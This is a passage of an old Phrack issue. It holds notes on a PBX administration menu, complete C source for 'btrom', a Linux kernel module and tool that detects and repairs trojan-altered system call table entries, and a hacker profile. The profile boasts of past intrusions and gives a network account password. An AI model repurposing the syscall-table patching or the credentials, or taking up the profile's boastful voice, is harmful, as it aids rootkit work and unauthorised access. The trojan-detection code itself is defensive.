auto_ans‑ N idle_disp.‑Y keyclick‑ Y music‑ Y music_num‑ 0 v_page_in‑ Y auto_ans_v_p‑ Y auto_hld/xfer/off‑1 spkr_on/off‑Y blind_att‑ N pcc‑ Y pc_acd‑ N mic‑ Y comb_audio‑N display_size‑ NO_DSP language‑DEFAULT but_num‑ 2 ksi‑ N ksi_type‑ 0

eis‑ N send_id‑ Y ali‑ NONE aoc‑e_display‑N alert_makecall‑N

active dpem id's‑ NONE installed dpems‑ 1

dkt: spkr_environment‑ 1

music_on_hold ‑ 0

KEYSET TIMERS ‑ EXAMPLE:

1 unit = 0.1 sec.

AUTO_ANSWER ‑ 10 AUTO_ANS_V_PAGE ‑ 10 TONE_TO_IDLE ‑ 10 AOC‑E_DISPLAY ‑ 300 MUTE_RING ‑ 50

FEAT. & AUTH ‑ Authorizations, and system features. Check here to see if Call trace OR caller ID is active.

FEATURE TIMERS ‑ This is a bit interesting. EXAMPLE:

* (1 unit =1.0 sec) ** (1 unit =0.1 sec) ***(1 unit =0.01 sec) *AUTO_REDIAL‑ 30 *REMIND_SNOOZE‑ 60 *WAKEUP_SNOOZE‑ 60 **WAKEUP_RING ‑ 300 **NET_FEATURE_ACK‑ 40 **SUSP_OFFHK‑ 5 BELL_RING: **ON_BELL ‑ 10 **OFF_BELL ‑ 20 **ATT.MSG‑ 50 **EXPENSIVE_ROUTE_TONE ‑ 10 **RING‑ 100 **SUPV_RECALL‑ 3600 **CONF_SUPV_RECALL‑ 1800 **BREAK_IN/OUT‑ 10 BREAKIN_WARNING:

**ON ‑ 1

**OFF ‑ 20

GROUPS ‑ List of submenus, of groups.

IST/SLT CARD_DB ‑ Ring information.

IST/SLT DEF. ‑ Slot of line info.

EXAMPLE:

prm_cos‑ 0 sec_cos‑ 0 priv_libs‑ 3 terminal‑ N origin‑ N block‑ N o/g_tk_rest‑N privacy‑ Y excl_hold‑N hard_hold‑ N last_num‑ Y security‑ N att‑ N auto_unatt‑N passcode‑ NONE check_out‑ N type‑ 1 announcer‑ N multi_app‑ N send_id‑ Y ali‑ NONE opx‑ N hf_relevant‑Y music_on_hold‑0

LCR/ROUTING ‑ Libraries, update, or display.

NUMBERING PLAN ‑ Lines, and there features: UPDATE, DISPLAY, ADD, REMOVE, or SHOW

STATION TIMERS ‑ EXAMPLE:

1 unit = 0.1 sec.

RING‑ 450

MULT_APR_RING‑ 200

BUSY‑ 1200

REORDER‑ 50

CONFIRM‑ 30

DVMS‑ 200

HOLD‑ 6000

HARD_HOLD‑ 1200

PARK‑ 1200

PAGE_Q‑ 600

1st_DGT ‑ 100

INTERDGT‑ 150

FEAT_DIAL‑ 700

HKFLS_FILTER‑ 10

MAGNETO_AUTO_ANS‑ 30

CF_NO_ANS‑ 200

SYSTEM GEN ‑ MENU:

(SYSGEN)

0‑INSTALL

1‑SIZES_DEF

2‑SIZES_TAB

3‑SPEED_CALLS (MCC only)

4‑MUSIC

5‑TIME_SLOTS (4GC only) 0‑TRUNK_CALLS_OUTGOING

SYSTEM FEATURES ‑ Trunk_calls_incoming, station_options, intercept/ incomplete, call_forwarding, camp_on, hotel,messaging, tones, diagnosrics, ISDN, network, and wireless TONE PLAN ‑ EXAMPLE:

~~~~~~~~

NO NAME TYPE #SEG 1TN Msec 2TN Msec 3TN Msec 4TN Msec 5TN Msec 6TN Msec 0 Busy 3 2 3 500 0 500 0 0 0 0 0 0 0 0 1 Dial 1 0 1 0 0 0 0 0 0 0 0 0 0 0 2 Distinct. 1 0 4 0 0 0 0 0 0 0 0 0 0 0 3 Reorder 3 2 3 240 0 240 0 0 0 0 0 0 0 0 4 Ringback 3 2 2 2000 0 4000 0 0 0 0 0 0 0 0 5 Silence 1 0 0 0 0 0 0 0 0 0 0 0 0 0 6 Tick 3 2 5 60 0 1000 0 0 0 0 0 0 0 0 8 Confirm 3 2 1 100 0 100 0 0 0 0 0 0 0 0 9 BRK_In/Out 1 0 5 0 0 0 0 0 0 0 0 0 0 0 11 V.P Conf 3 2 3 100 5 100 0 0 0 0 0 0 0 0 12 Z.P Warn 3 2 6 300 3 100 0 0 0 0 0 0 0 0 14 LCR_expens 2 6 0 120 5 80 0 120 5 80 0 120 5 80 15 LCR_cheap 2 4 0 120 5 80 0 120 5 80 0 0 0 0 16 Call Wait 3 4 5 600 0 5000 0 5000 0 5000 0 0 0 0 17 DISA Dial 1 0 1 0 0 0 0 0 0 0 0 0 0 0

TRUNK DEFINITION ‑ EXAMPLE:

DISA (0‑NO /1‑IMMED. /2‑DELAY)‑ 0 COS.‑ 10 TK_TIMER#‑ 1

TYPE (0‑PULSE /1‑DTMF /2‑MIX)‑ 1 I/C_ONLY‑N O/G_ONLY‑N BUSY_OUT‑N AUTO_GUARD‑N HOT_IMMED‑N HOT_DELAY‑N DROP_NO_DIAL‑N RSRVD_TO‑ NONE CALLER_ID_TIMEOUT ‑ 50

TRUNK TIMERS ‑ EXAMPLE:

H.FLASH(10ms)‑ 67 INCOMING :

E&M_SEIZE_TO_WINK‑ 1 E&M_CONT_WINK_TIME‑ 2 OUTGOING :

E&M_CONT_WINK/SG_DELAY‑ 1 SEIZE_TO_DIAL‑ 15 SECOND_DIAL_TONE‑ 60

VFAC ‑ Account maintance. ‑ Requires password.

‑‑‑The ones that I didn't list were either self‑explanitory, or N/A

0x5>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

b t r o m b y r i q

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

"trojan eraser or i want my system call table clean"

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

i n t r o d u c t i o n

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The other day, I started to play with the itf that appeared in P52‑18 (read that article if you want to know what it does, etc). It occured to me one good way to determine if someone has installed the trojan (and to subsequently remove it) is by fixing the system call table. This program tries to do that. This works with the the linux x86 2.0 and 2.2 series.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

i n t e r n a l s

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The program first attempts to detect if you are using a BIG_KERNEL (a bzImage) or not (a zImage). One of the differences is the address of the kernel in memory. BIG_KERNEL starts at 0xc0000000 while the other starts at 0x00100000.

The system call table (sct) has the entries of all the system calls. If you modify the sct, the new entry must be `out of range'. btrom will try to fix these `out of range' system calls with their original values. They are taken from the System.map. What i mean with "`out of range'" is an entry that has a value out of the start_of_the_kernel and the_start_of_the_kernel + some_value. This value is in the config.h

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

q u i c k i n s t a l l

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

compile:

‑‑‑‑‑‑‑‑

1) edit config.h and Makefile. Modify it if you want.

$ vi config.h

$ vi Makefile

2) make

$ make

use:

‑‑‑‑

1) be root

$ su ‑

2) install the module mbtrom

# insmod mbtrom

3) run btrom

# ./btrom _nr_mbtrom_ [options]

4) uninstall the module mbtrom

# rmmod mbtrom

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

c h a c h a r a

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1st part: detect trojans legends

[ ] this is ok. dont worry

[N] this is a null enter in the system call table. dont worry.

[‑] this is the entry of the module mbtrom. dont worry.

[?] this entry has a system function, but it was supposed to be null. worry [*] this is probably a trojan in a reserved space. worry.

[!] this is probably a trojan in a not reserved space. worry.

2nd part: clean trojans legends

<s> press 's' to fill this entry with the System.map's value.

<c> press 'c' to clean this entry. it will be filled with a null entry. <m> press 'm' to put in this entry a manual hexa address.

<i> press 'i' to ignore, skip, what you want.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

n o t e s

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

this program doesnt uninstall trojan modules.

this program disables the trojans, so, after that,

you can uninstall the trojan with 'rmmod'.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

b u g s

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

if `insmod mbtrom' doesnt returns any value, is because you are redirecting that message with syslogd. Please check /etc/syslog.conf and see "kern".

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

h i s t o r y

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

* version 0.3 (01/12/98) compatible with kernel 2.0 y 2.2. works with BIG_KERNEL and with SMALL

english version

* version 0.2 (25/11/98) first version

* version 0.1 (21/11/98) something really ugly

* all this happened when i see the itf (intregated trojan facility in P52‑18)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

f e e d b a c k

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

riq@ciudad.com.ar

<++> linenoise/btrom/Makefile

#

# Makefile del b t r o m

#

## BUG. This must be the same as the one in config.h

SYSTEM_MAP = "/usr/src/linux/System.map"

AWK= awk

CC= gcc

#CFLAGS= ‑DSYSTEM_MAP=$(SYSTEM_MAP)

all: parse btrom mbtrom

parse:

$(AWK) ‑f sys_null.awk $(SYSTEM_MAP) > sys_null.h

btrom: btrom.o

$(CC) btrom.c ‑O2 ‑Wall ‑o btrom

mbtrom:

$(CC) ‑c ‑O3 ‑Wall ‑fomit‑frame‑pointer mbtrom.c

clean:

rm ‑f mbtrom.o btrom.o btrom sys_null.h

<‑‑>

<++> linenoise/btrom/btrom.c

/*

* btrom ‑ Borra Trojanos Modulo

* por Riq

* 1/Dic/98: 0.3 ‑ Compatible con kernel 2.2 y soporta BIG_KERNEL * 25/Nov/98: 0.2 ‑ Version inicial. Soporta kervel 2.0 i386

*/

#include <stdio.h>

#include <unistd.h>

#include <asm/unistd.h>

#include <stdlib.h>

#include <stdio.h>

#include <fnmatch.h>

#include <strings.h>

#include <linux/sys.h>

#include "config.h"

#include "sys_null.h"

FILE *sm;

FILE *au;

int quiet;

int borrar;

int dif_n_s;

unsigned int big_kernel;

/***************************************

System.map

****************************************

int sm_b_x_nom( unsigned int *address, char *estoy )

{

char buffer[200];

char sys_add[20];

fseek(sm,0L,SEEK_SET);

while( fgets(buffer,200,sm) ) {

if( fnmatch(estoy,buffer,0)==0 ) {

strncpy(sys_add,buffer,8);

sys_add[8]=0;

*address = strtoul(sys_add,(char **)NULL,16);

return 1;

}

}

return 0;

}

int sm_busca_x_nombre( unsigned int *address, char *estoy)

{

char nombre[50];

sprintf(nombre,"*T sys_%s\n",estoy);

return sm_b_x_nom(address, nombre);

}

FILE* sm_open()

{

return fopen( SYSTEM_MAP, "r" );

}

/***************************************

asm/unistd.h

****************************************

void au_dame_el_nombre( char *dst, char *orig )

{

int i,j;

j=i=0;

while( orig[i]!='_' )

i++;

i=i+5;

while( orig[i]!=' ' && orig[i]!='\t' )

dst[j++]=orig[i++];

dst[j]=0;

}

int au_b_x_num( char *nombre, int numero )

{

char buffer[200];

char buscar[50];

/* FIXME: ?sera mas efectivo regexec() que fnmatch()? */

sprintf(buscar,AU_PREFIX"%i*",numero);

while( fgets(buffer,200,au) ) {

if( fnmatch(buscar,buffer,0)==0 ) { au_dame_el_nombre(nombre,buffer);

return 1;

}

}

/* No encontre... entonces una segunda pasada */

fseek(au,0L,SEEK_SET);

while( fgets(buffer,200,au) ) {

if( fnmatch(buscar,buffer,0)==0 ) { au_dame_el_nombre(nombre,buffer);

return 1;

}

}

return 0;

}

int au_busca_x_numero(char *nombre, int numero)

{

return au_b_x_num(nombre,numero);

}

FILE* au_open()

{

return fopen( ASM_UNISTD, "r" );

}

/***************************************

/* Comun a la primer y segunda recorrida */

/***************************************

int comun_1er_2da( int j, int i , char *nombre , char *c, int clean, unsigned int retval) {

int a;

a = clean;/* bug fix */

nombre[0]=0;

/* i!=0 porque el asm/unistd del kernel 2.2 no viene */

if( i!=0 && au && au_busca_x_numero(nombre,i)) {

if( retval > big_kernel + LIMITE_SYSCALL ) {

*c = '*' ;

clean++;

} else

*c = ' ';

} else {

if( retval > big_kernel+LIMITE_SYSCALL )

*c = '!';

else

*c = '?';

clean++;

}

if(i==j) { /* modulo btrom */

*c='‑';

clean=a;

} else if(retval==SYS_NULL || retval==0) {/* Null pointer */

*c='N';

clean=a;

}

return clean;

}

/***************************************

primer_recorrida: Detectar troyanos

****************************************

int primer_recorrida(int j)

{

char nombre[50];

int address;

int i,old_clean,clean;

unsigned int retval;

char c;

old_clean=clean=0;

printf( "\n1st part: Detect trojans\n"

" [ ]=OK [N]=Null [‑]=btrom\n"

" [?] Mmm...syscall\n"

" Address [*][!]=trojan routine\n"

" now System.map Num [ ] Syscall Name\n"

"‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑n");

for( i=0; i< NR_syscalls; i++ ){

__asm__ volatile (

"int $0x80":"=a" (retval):"0"(j),

"b"((long) (i)),

"c"((long) (0)),

"d"((long) (0)));

clean = comun_1er_2da(j,i,nombre,&c,clean,retval);

if( !quiet || clean > old_clean ) {

if( nombre[0]!=0 ) {

if( sm && sm_busca_x_nombre(&address,nombre)) { if(retval!=address && retval < big_kernel + LIMITE_SYSCALL) { dif_n_s++;

printf("%8x!%8x %3i [%c] %s\n",retval,address,i,c,nombre); } else printf("%8x %8x %3i [%c] %s\n",retval,address,i,c,nombre); } else printf("%8x %3i [%c] %s\n",retval,i,c,nombre); } else printf("%8x %3i [%c]\n",retval,i,c); old_clean = clean;

}

}

return clean;

}

/***************************************

segunda_recorrida: Limpiar troyanos

****************************************

int segunda_recorrida(int j)

{

char nombre[50],dire[50];

int address;

int i,old_clean,clean,retval,key;

char c;

unsigned int k;

old_clean=clean=0;

printf( "\n2nd part: Clean Trojans\n"

" s = System.map address\n"

" c = clean address\n"

" m = manual address\n"

" i = ignore\n"

" now System.map Num [ ] Syscall Name\n"

"‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑n");

for( i=0; i< NR_syscalls ; i++ ){

__asm__ volatile (

"int $0x80":"=a" (retval):"0"(j),

"b"((long) (i)),

"c"((long) (0)),

"d"((long) (0)));

clean = comun_1er_2da(j,i,nombre,&c,clean,retval);

if( clean > old_clean ) {

if( nombre[0]!=0 ) {

if( sm && sm_busca_x_nombre(&address,nombre)) { if(retval!=address && retval < big_kernel + LIMITE_SYSCALL) { dif_n_s++;

printf("%8x!%8x %3i [%c] %s <s/c/m/I>?",retval,address,i,c,nombre); } else printf("%8x %8x %3i [%c] %s <s/c/m/I>?",retval,address,i,c,nombre); } else printf("%8x %3i [%c] %s <c/m/I> ?",retval,i,c,nombre); } else printf("%8x %3i [%c] <c/m/I> ?",retval,i,c); old_clean = clean;

fseek(stdin,0L,SEEK_END);

key=fgetc(stdin);

switch(key) {

case 's':

k = address;

break;

case 'c':

k = SYS_NULL;

break;

case 'm':

printf("Enter an hexa address (ex: 001a1b):"); fseek(stdin,0L,SEEK_END);

fgets( dire,50,stdin );

k = strtoul(dire,(char **)NULL,16);

break;

default:

k=1;

break;

}

/* FIXME: 1 no se puede poner como address */

if(k!=1)

__asm__ volatile (

"int $0x80":"=a" (retval):"0"(j),

"b"((long) (i)),

"c"((long) (1)),

"d"((long) (k)));

}

}

return clean;

}

void help()

{

printf("\nUsage: btrom nr_of_mbtrom [‑c][‑v]\n"

"\t1) Install the module mbtrom with`insmod mbtrom'\n"

"\t2) The module must return a value.If not see the README‑>bugs\n" "\t btrom value_returned_by_mbtrom [‑c][‑v]\n"

"\t `v' is verbose. Recommended\n"

"\t `c' is clean. Cleans the trojans\n"

"\t3) Uninstall the module mbtrom with 'rmmod mbtrom'\n"

"\n"

"\tExamples:\n"

"\t btrom 215 ‑cv\n"

"\t btrom 214 ‑v\n"

"\t btrom 215\n"

"\nWarning: Dont put random numbers. Be careful with that!" "\nRecommended: Do `btrom _number_ ‑v' before a cleaning\n\n" );

exit(‑1);

}

void chequear_argumentos( char *parametros )

{

int i,j;

i=strlen(parametros);

if(parametros[0]!='‑') help();

for(j=1;j<i;j++) {

switch(parametros[j]) {

case 'c':

borrar = 1;

break;

case 'v':

quiet = 0;

break;

default:

help();

}

}

}

int main(int argc, char **argv, char **envp )

{

unsigned int retval;

int clean;

int i;

printf( "\n\n"

"b t r o m b y r i q\n" "v"VERSION"\n");

if(argc <2 || argc >3 ) help();

quiet = 1; borrar = 0 ;

if( argc==3) chequear_argumentos(argv[2]);

au = au_open();

sm = sm_open();

if(!au && !quiet)

printf("Error while opening `asm/unistd.h' in `"ASM_UNISTD"'\n"); if(!sm && !quiet)

printf("Error while opening `System.map' in `"SYSTEM_MAP"'\n");

dif_n_s=0;

/* __NR_mbtrom number */

i = atoi( argv[1] );

if(!i)

help();

/* Chequeo si es BIG_KERNEL o no */

__asm__ volatile (

"int $0x80":"=a" (retval):"0"(i),

"b"((long) (0)),

"c"((long) (2)),

"d"((long) (0)));

big_kernel =(retval>BIG_KERNEL?BIG_KERNEL:SMALL_KERNEL);

/* Primer recorrida */

clean = primer_recorrida( i );

/* Mensaje del senior btrom */

printf( "\nb t r o m s a y s:\n");

if(dif_n_s>0) {

printf( "Your System.map seems to have a problem.\n"); if(dif_n_s<SYSMAP_LIMIT)

printf( "Wait. Perhaps this is not a System.map problem,\n" "but something related with the new functions names.\n"

);

else

printf( "Are you sure that you have a valid System.map ?\n"); if(clean)

printf( "Oh no! The problem is the trojan that you have ;‑)\n"); }

if(!clean) {

printf( "You system call table seems to be clean.\n"); if(quiet)

printf("If you want to be more sure use the `‑v' option\n");

} else {

printf( "\nWhat do you want to do with the trojan?\n"

"What about cleaning it with `btrom _numero_ ‑c'?\n" );

}

/* Ah borrar los troyanos se ha dicho */

if(borrar && clean) {

if(au)

fseek(au,0L,SEEK_SET);

if(sm)

fseek(sm,0L,SEEK_SET);

segunda_recorrida( i );

}

if(au)

fclose(au);

if(sm)

fclose(sm);

return 0;

}

<‑‑>

<++> linenoise/btrom/config.h

/*

config.h

usado por btrom.c y mbtrom.c

*/

/*

Modificar segun los gustos

*/

/* Numero que uno supone que esta vacio en la sys_call_table */

#define NUMERO_VACIO 215

/* Path al archivo System.map */

/* Si Ud. nunca compilo el kernel tal vez sea /boot/System.map */

/* FIXME: Usar el define del Makefile para no definir esto en 2 partes */

#ifndef SYSTEM_MAP

#define SYSTEM_MAP "/usr/src/linux/System.map"

#endif

/* Hay problemas con old y new. Gralmente no es problema de la System.map */

#define SYSMAP_LIMIT 8

/* Path al archivo asm/unistd.h */

#define ASM_UNISTD "/usr/include/asm/unistd.h"

/* Prefijo a buscar en asm/unistd.h*/

#define AU_PREFIX "#define*__NR_*"

/* Hasta donde llega el kernel space */

/* FIXME: No se cual es el limite realmente. Igual con esto anda :‑) */

#define LIMITE_SYSCALL 0x00300000

/*

No modificar

*/

/* Version del btrom */

#define VERSION "0.3"

/* BIG_KERNEL y SMALL_KERNEL*/

#define BIG_KERNEL 0xc0000000

#define SMALL_KERNEL 0x00100000

<‑‑>

<++> linenoise/btrom/mbtrom.c

/*

* modulo del btrom ‑ Borra Trojanos Modulo

* 25/11/98 ‑ por Riq

*

* compile with:

* gcc ‑c ‑O3 ‑fomit‑frame‑pointer mbtrom.c

*

*/

#define MODULE

#define __KERNEL__

#include <linux/config.h>

#ifdef MODULE

#include <linux/module.h>

#include <linux/version.h>

#else

#define MOD_INC_USE_COUNT

#define MOD_DEC_USE_COUNT

#endif

#include <syscall.h>

#include <linux/string.h>

#include <linux/types.h>

#include <linux/fs.h>

#include <linux/mm.h>

#include <linux/malloc.h>

#include <linux/dirent.h>

#include <linux/sys.h>

#include <linux/linkage.h>

#include <asm/segment.h>

#include "config.h"

#include "sys_null.h"

extern void *sys_call_table[];

int __NR_mbtrom;

int* funcion( int numero, int modo, unsigned int *address )

{

switch(modo){

case 0:

return sys_call_table[numero];

break;

case 2:

return (void *)&sys_call_table;

case 1:

default:

sys_call_table[numero]=address;

break;

}

return (void *)0;

}

int init_module(void)

{

__NR_mbtrom = NUMERO_VACIO ;

/* Chequea direccion vacia desde NUMERO_VACIO hasta 0 */

while ( __NR_mbtrom!= 0 &&

sys_call_table[__NR_mbtrom] != 0 && sys_call_table[__NR_mbtrom] != (void *)SYS_NULL ) __NR_mbtrom‑‑;

if(!__NR_mbtrom ) { /* Si es 0 me voy */

printk("mbtrom: Oh no\n");

return 1;

}

sys_call_table[__NR_mbtrom] = (void *) funcion;

if( __NR_mbtrom != NUMERO_VACIO )

printk("mbtrom: Mmm...\n");

printk("mbtrom: ‑> %i <‑\n",__NR_mbtrom);

return 0;

}

void cleanup_module(void)

{

sys_call_table[__NR_mbtrom] = 0;

printk("mbtrom: Bye.\n");

}

<‑‑>

<++> linenoise/btrom/sys_null.awk

/sys_ni_syscall/ { print "#define SYS_NULL 0x"$1 }

<‑‑>

0x6>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑[ PDM

Phrack Doughnut Movie (PDM) last issue was `Miller's Crossing`.

PDM53 recipients:

None of you suckers. Go rent it. It's well worth your time.

PDM54 Challenge:

"I have John Murdock... In mind..."

0x7>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑[ Super Elite People That REad Phrack (SEPTREP)

New addiitons: Ron Rivest, W. Richard Stevens

Why they are SEP: One is the `R` in RSA. The other writes TCP/IP bibles.

‑‑‑‑[ Current List

W. Richard Stevens

Ron Rivest

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Phrack Prophile on the parmaster

‑‑‑‑[ Phrack Magazine Volume 8, Issue 54 Dec 25th, 1998, article 04 of 12

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ P H R A C K 5 4 P R O P H I L E

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Personal

Handle: ParMaster

Call him: Ishmael? SHALL WE PLAY A GAME? Reach him: Through the grapevine

Past handles: Trouble Verify, Immediate Lee, Bad Karma, Thoth, Optomystic, (The) Omicron

Handle origin: (Quote from Underground page #104) "Par had got his full name ‑The Parmaster‑ in his earliest hacking days. Back then, he belonged to a group of teenagers involved in breaking the copy protections on software programs for Apple IIe's, particularly games. Par had a special gift for working out the copy protection parameters, which was a first step in bypassing the manufacturers' protection schemes. The ringleader [sc0tch] of the group [Jedi Hackers] began calling him 'the master of parameters' ‑The ParMaster‑ Par, for short. As he moved into serious hacking and developed his expertise in X.25 networks, he kept the name because it fitted nicely in his new environment. 'Par' was a common command on an X.25 pad, the modem gateway to an X.25 network."

Date of birth: NOT January 15th!

Age at current date: 27

Height: 5'11"

Weight: 202 lbs

Eye color: Brown

Hair color: Brown (Blonde highlights) Computers: Dell 320n 386 laptop, Walkabout vt100 terminal with built‑in 2400 baud modem.

Sysop/Co‑Sysop of: DarkF0RCE

Admin of: [Withheld]

URLs: http://altavista.digital.com ‑ search ‑ "parmaster" ‑

‑ submit ‑ read.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Favorite things

Women: Blondes with blue / green eyes. Chicks in skimpy clothes with accents.

Cars: Ferrari and Porsche clubs :‑), anything with a jet engine on it.

Foods: Chinese, got to have my chinese food. Calamari, Duck, Quail, most seafood.

Alcohol: Now, we're talkin'. Jim Beam, Jack Daniels, Crown Royal, Jose Cuervo / Dos Realis, and last but certainly not least Finlandia!

Music: The The, The Dickies, Underworld, Kraftwerk, Chemical Brothers, Crystal Method, El Dubarge, CCCP. Movies: They Live, A fish called wanda, 13 Monkees, Little Trouble in Big China, 5th Elemental, True Lies, Killer Klowns from Outer Space, Eraser, Under Siege, Tetsuo Ironman, WarGames, and Sneakers. Authors: Immanuel Velikovsky, Piers Anthony, Terry Brooks, James Gardner, J.R.R. Tolkien and please forgive me for anyone i'm missing.

Turn Ons: Traveling in my mind with someone i love. Turn Offs: Pain, agony, hurting and torture.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Passions

I enjoy scrying the future and doing the great work. This is a very difficult thing to describe in itself. Some of you who know me well enough can see it every once in a while. I'm no artist, but i attempt to do it and sometimes it expresses itself in artistic ways.

I love hanging out with my friends, sometimes i need to be alone, but time i spend with my friends is always special.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Memorable experiences

When the US Secret Service raided me in 1991 and took all my stuff (the 3rd time) including the credit reports of the President (iffie) and Vice President (definitely) of the United States of America. I was in jail in New York waiting for transport, and was never really threatened or hurt, except once and it was a major incident for me but i don't think it was influenced by anyone.

When i did an interview for Coast Weekly Magazine in Monterey County in 1993, after this issue came out things really fell apart for me, people started being really mean and really dangerous people started doing really harmful things around me. This article was my one 'play article'. I mentioned a lot of stuff that was currently going on, including the Clinton Administration's use and promotion of the new Clipper Chip device.. I wonder why the guys who did a play article for the San Jose Mercury News didn't receive the same treatment. My relatives always told me life isn't fair, until this time i had plenty of reasons to beleieve that but never did. Incidents following this made me really question how the United States was changing. It especially made me question who is running the world nowadays and who they made a decision to hire under them to work in various agencies. Everything just seemed to have more style before. However, there are also a lot of cool things with style brought about by this, which may be worth the hardships in their value.

Using sprite to send an out of bounds packet to port 139 of trv‑psitech.com, the server was down for a little bit, a day or two. The error it responded with, "Parameter not found".

Creating IRAQ‑DEFENSE password PARMASTERG0TTHEM! on tymnet while i was "in". I'm not sure what effect this had during the time i had set it up during Operation Desert Shield. I put it out into the computer underground globally promoting it as an iraqi system i had found. What effect this may have had during that time i still do not know. Logically all i can assume is that it managed to put a lot of hackers who tried it, in one place at the time when they connected to it. As well as promote and possibly move them toward being aware of any enemy computers they may have hacked. Indeed, on the boards i was confronted about it... Specifically by Crimson Death who stated in the posts that it was, in fact, not an iraqi system at all. Interestingly enough in following posts people responded *WITH* actual network addresses and hosts of iraqi systems. Too bad at the time all communications were cut. Most certainly, their access to the outside worlds computers was at least partially if not totally through Bahrain. Every once in a while i would periodically check on tymnet's bahrain gateway and monitor traffic there. For those of you who wonder why i did this, i don't know... I can honestly say I wasn't in conscious control of what i was doing. I have some theories about why, some include a higher power others include some pretty crazy stuff like mind control. I'm leaning somewhat towards the latter because i had some severe memory problems. I could not remember anything about this until I was on a phone interview with Joshua Quittner for the Masters of Deception book, why at that time I recalled it i do not know. I do know that prior to this time in searching through my memory fervently that I had not previously at any other time after 1990 thought about or recollected my actions then. The only thing i remembered was creating ParMasterX75 nui Password par=tymnet gawd! and that was because the account I had used to make IRAQ‑DEFENSE had mysteriously changed its properties and now was connected to place calls on the global data network. Prior to that it had only been able to connect to the select hosts of the WEFA group, its rightful owner. I only became aware of this because of Corrupt [MOD] pointing out that I should list out what accounts were active. .. i then saw that he had created an account which could be used to place data calls. John apparently did not know that the properties of the account's access had changed and that it did not have access to do things like that before, if he did he was not offering that knowledge, or even better he may have changed it :‑).

Disneyland.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Boards to mention

The board that Mr. Zod set up on the 202 sprintnet system owned by AFOSI and used to train them on how to catch computer hackers *GUFFAW*, my I wonder if they ever found out? Weren't we why they called it that? ROFLMFAO

DarkF0RCE, I wonder whatever happened to Derek.. One Man Army.. Hmm, like people are posting these PC Pursuit codes on our board, i wonder where they came from? Phear P0STMASTER's ACOS skills. ROFLMFAO

Pegasus, this BBS run on a VAX in switzerland ended up turning out to be part of a sting operation involving law enforcement in europe.... Why do all these k‑k00l codes still work tho?

Unphamiliar Territories, invalid media's board. Managed to collect together quite a few people with talent as well as some really stupid asshole narks. Can anyone say PMF?

Bullet, wherever it is... There you are.

BlackNET, so much has been said about this one in circles its not funny. No one knows where it is or how to connect to it? I wonder why... I'm confused.

Fuck QSD Channel.

Sectec, this board was always an old stand‑by for me when the internet was taking off.. Now boards with discussions on packet switched nets like it aren't around. Or, if they are they are hidden and not openly promoting themselves. Most likely, they are somewhere on the internet...It's probably just me... but i don't trust the internet... at all.

